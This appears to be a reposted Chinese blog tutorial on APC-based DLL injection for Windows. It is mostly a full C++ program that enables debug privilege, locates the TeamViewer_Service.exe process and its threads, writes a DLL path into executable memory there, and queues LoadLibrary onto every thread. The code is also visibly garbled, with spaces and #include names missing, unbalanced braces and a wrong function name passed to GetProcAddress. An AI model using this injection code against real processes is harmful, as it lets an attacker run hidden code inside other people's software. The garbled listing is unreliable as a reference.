APC注入

来源:互联网 发布:手机摄影后期制作软件 编辑:程序博客网 时间:2024/05/16 08:42




目的:
向本机指定进程中 注入特定Dll
核心:
QueueUserAPC((PAPCFUNC)LoadLibraryWAddress, ThreadHandle,(UINT_PTR)DllFullPathBufferData);
加载函数的得到 LoadLibraryWAddress =(UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"),"LoadLibrary");
该函数 用于当进程发生软中断时,向当前进程APC队列中注入LoadLibrary指针,由于该函数需要ThreadID故需要通过当前进程ID来找到进程
关于当前得到当前进程ID,是通过CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0),得到本机系统的进程快照,枚举进程,与目标进程名称相比较,
然后得到ProcessID。
得到ProessID,再通过如上方法得到ThreadID,不过由于一个进程往往有较多的线程,故需要一个类似数组的数据结构来存储得到线程,
故采用模板vector ThreadIDVector,QueueUserAPC函数 向线程中注入Dll


此方法 存在局限性 就本机测试而言 Taskmgr 无法打开
自己编写的程序能够实现注入



#include "stdafx.h"
#include
#include
#include
#include

using namespace std;

BOOL GrantPriviledge(IN PWCHAR PriviledgeName);
BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector&ThreadIDVector);
BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName,OUTPUINT32 ProcessID);

BOOL InjectDllByAPC(UINT32 ProcessID, UINT32 ThreadID);
WCHAR   DllFullPath[MAX_PATH] = { 0 };  //补丁路径
PVOID DllFullPathBufferData = NULL;



int main()
{
    if(GrantPriviledge(SE_DEBUG_NAME) == FALSE)
    {
      printf("GrantPriviledge Error\r\n");
    }
   GetCurrentDirectory(MAX_PATH, DllFullPath);
   wcscat(DllFullPath, L"\\Dll.dll");
    UINT32ProcessID = 0;
    if(GetProcessIDByProcessImageName(L"TeamViewer_Service.exe",&ProcessID) == FALSE)
    {
       return0;
    }
    vectorThreadIDVector;
    if(GetThreadIDByProcessID(ProcessID, ThreadIDVector) == FALSE)
    {
       return0;
    }
    size_tThreadCount = ThreadIDVector.size();
    cout<< ThreadCount;
   
    for (INT_PTRi = ThreadCount - 1; i >= 0; i--)
    {
       UINT32ThreadID = ThreadIDVector[i];
      InjectDllByAPC(ProcessID, ThreadID);
    }
}


    提权函数()

BOOL GrantPriviledge(IN PWCHAR PriviledgeName)
{
    HANDLETokenHandle = NULL;
   TOKEN_PRIVILEGES TokenPrivileges;
   TOKEN_PRIVILEGES OldTokenPrivileges;
    DWORDReturnLength;
    LUIDuID;

    if(!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES |TOKEN_QUERY,FALSE, &TokenHandle)) //使用windows函数API
    {
       if(GetLastError() != ERROR_NO_TOKEN)
       {
          returnFALSE;
       }
       if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |TOKEN_QUERY, &TokenHandle))
       {
          returnFALSE;
       }
     //WHY 先打开线程后打开进程

      
    if(!LookupPrivilegeValue(NULL, PriviledgeName, &uID))
    {
      CloseHandle(TokenHandle);
       TokenHandle= NULL;
       returnFALSE;
    }

   
   TokenPrivileges.PrivilegeCount = 1;
   TokenPrivileges.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
   TokenPrivileges.Privileges[0].Luid = uID;
   

    if(!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges,sizeof(TOKEN_PRIVILEGES), &OldTokenPrivileges,&ReturnLength))
    {
      CloseHandle(TokenHandle);
       TokenHandle= NULL;
       returnFALSE;
    }

   CloseHandle(TokenHandle);
    TokenHandle= NULL;
   
    returnTRUE;

}


   通过进程快照CreateToolHelp32Snapshot 照到系统的所有进程(返回一个句柄)
   通过ProcessEntry32First andPrcessEntry32Next函数枚举进程(进程放在PROCESSENTRY结构体) 比较名称
    得到ID


BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUTPUINT32 ProcessID)
{
    HANDLEProcessSnapshotHandle = NULL;
   ProcessSnapshotHandle =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//该属性表示快照当前系统所有进程
    if(ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
    {
       returnFALSE;
    }
   PROCESSENTRY32 ProcessEntry32 = { 0 };
   ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); //必须初始化
    BOOL bOk =Process32First(ProcessSnapshotHandle, &ProcessEntry32);
    if(bOk)
    {
       do
       {
          if(lstrcmpi(ProcessEntry32.szExeFile, ProcessImageName)==0)
          {
             *ProcessID =ProcessEntry32.th32ProcessID;
             break;
              
       } while(Process32Next(ProcessSnapshotHandle, &ProcessEntry32));
    }
    cout<< *ProcessID;
   CloseHandle(ProcessSnapshotHandle);
   ProcessSnapshotHandle = INVALID_HANDLE_VALUE;
    returnTRUE;
}


形式较为类似于上述函数 对当前系统中所有线程进行快照
通过一个模板函数保存目标进程中所有线程ID


BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector&ThreadIDVector)
{
   HANDLE         ThreadSnapshotHandle = INVALID_HANDLE_VALUE;
   THREADENTRY32   ThreadEntry32 = { 0 };

   ThreadEntry32.dwSize = sizeof(THREADENTRY32);

   ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
    if(ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
    {
       returnFALSE;
    }

    BOOL bOk =Thread32First(ThreadSnapshotHandle, &ThreadEntry32);

    if(bOk)
    {
       do
       {
          if(ThreadEntry32.th32OwnerProcessID == ProcessID)
          {
            ThreadIDVector.emplace_back(ThreadEntry32.th32ThreadID);//把该进程的所有线程id压入模板
          }
       } while(Thread32Next(ThreadSnapshotHandle, &ThreadEntry32));

    }

   CloseHandle(ThreadSnapshotHandle);
   ThreadSnapshotHandle = INVALID_HANDLE_VALUE;
    returnTRUE;
}

打开目标进程 在进程中申请代码段内存
向申请代码段中写入代码 通过GetProcAddress函数在Kernel32模块中得到LoadLibrary()函数
最后使用QueueUserAPC函数 加载Dll


BOOL InjectDllByAPC(UINT32 ProcessID, UINT32 ThreadID)
{
    BOOL bOk =FALSE;
    SIZE_TReturnLength = 0;
    HANDLEThreadHandle = INVALID_HANDLE_VALUE;
    SIZE_TLoadLibraryWAddress;
    SIZE_TDllFullPathLength = (lstrlenW(DllFullPath) + 1);
    HANDLEProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE,ProcessID);
    if(DllFullPathBufferData == NULL)
    {
       //申请内存
      DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL,DllFullPathLength * 2, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

       if(DllFullPathBufferData == NULL)
       {
         CloseHandle(ProcessHandle);
          returnFALSE;
       }
    }
    bOk =WriteProcessMemory(ProcessHandle, DllFullPathBufferData,DllFullPath, DllFullPathLength * 2,
      &ReturnLength); //向当前进程申请过的内存空间中,写入Dll代码
    if (bOk ==FALSE)
    {

      VirtualFree(DllFullPathBufferData, DllFullPathLength,MEM_RELEASE);
      CloseHandle(ProcessHandle);
       returnFALSE;
    }
   LoadLibraryWAddress =(UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"),"LoadLibrary");
    if(LoadLibraryWAddress == NULL)
    {
      VirtualFree(DllFullPathBufferData, DllFullPathLength * 2,MEM_RELEASE);
      CloseHandle(ProcessHandle);
       returnFALSE;
    }
    __try
    {
       ThreadHandle= OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);
      QueueUserAPC((PAPCFUNC)LoadLibraryWAddress, ThreadHandle,(UINT_PTR)DllFullPathBufferData);//向线程的APC队列插入一个Loadlibrary()函数指针

    }
    __except(EXCEPTION_CONTINUE_EXECUTION)
    {

    }
   CloseHandle(ProcessHandle);
   CloseHandle(ThreadHandle);
}

原创粉丝点击